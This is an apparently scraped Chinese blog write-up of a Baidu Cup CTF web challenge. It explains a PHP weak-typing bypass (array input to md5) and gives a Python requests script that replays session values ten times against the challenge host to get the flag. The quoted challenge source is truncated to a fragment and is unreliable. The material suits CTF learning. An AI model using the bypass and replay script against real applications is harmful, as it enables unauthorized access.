博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
猥琐百度杯猥琐CTF
阅读量:6006 次
发布时间:2019-06-20

本文共 924 字,大约阅读时间需要 3 分钟。

其实不难,但是作为我这个代码菜鸡+脑洞菜鸡+黑阔菜鸡而言确实挺难。

题目源码:

=10){ echo $flag;}show_source(__FILE__);?>

最主要的是那个19行的if语句。能够让她执行十次就可以得到Flag了。

首先先看一下if后面的那个代码:

substr(md5($value),5,4) == 0

其实他压根就是为真因为我们传如value是以数组的形式传入所以是不能用md5加密的。否则就是错误。这就是一道弱类型。所以这个不用管,因为他本身就为真。

主要是前面的

$_SESSION['whoami']==($value[0].$value[1])

第一次传入ea然后就可以等于第8行,但是到了21行$str_rands这个变量又将$_SESSION['whoami']的值给覆盖了,而$str_rands的值是通过

$str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

随机生成的。所以要进行一直浏览这个界面就可以得到Flag就行了。

作为python菜鸡网上找了相关案例:

#!usr/bin/env python#!coding=utf-8 __author__ = 'zhengjim' import requests aa = requests.session()code = aa.get('http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/?value[0]=e&value[1]=a').text# print codecc = code[:2]for i in xrange(10):    url = 'http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/index.php?value[0]={}&value[1]={}'.format(cc[0],cc[1])    flag= aa.get(url=url).text    cc = flag[:2]print flag

 

转载地址:http://olsmx.baihongyu.com/

你可能感兴趣的文章
李小龙教给我们的敏捷开发之道
查看>>
windows 程序设计的一些总结
查看>>
细数AutoLayout以来UIView和UIViewController新增的相关API<转写>
查看>>
[转]SqlServer 表分区详细介绍
查看>>
02 栈(Stack)
查看>>
春季学期第六周作业
查看>>
字符串交叉插入
查看>>
项目总结
查看>>
codeforces #139 A dice tower
查看>>
Integer.valueOf与Integer.parseInt的小疑惑
查看>>
第一次开发NIOS II与NIOS II SOPC Quartus II三者的暧昧关系
查看>>
整数中1出现的次数(从1到n整数中1出现的次数)
查看>>
Asp.net MVC – Controller
查看>>
独立完成的第一个c++面向对象程序(虽然很简单 以后会增加功能)
查看>>
使用mybatis-generator自动生成映射配置
查看>>
d3js
查看>>
优先级队列的实现 和 层次遍历建树
查看>>
ecshop 广告位固定
查看>>
HTTP 错误 500.21 - Internal Server Error 解决方案(转)
查看>>
图像格式之--YUV
查看>>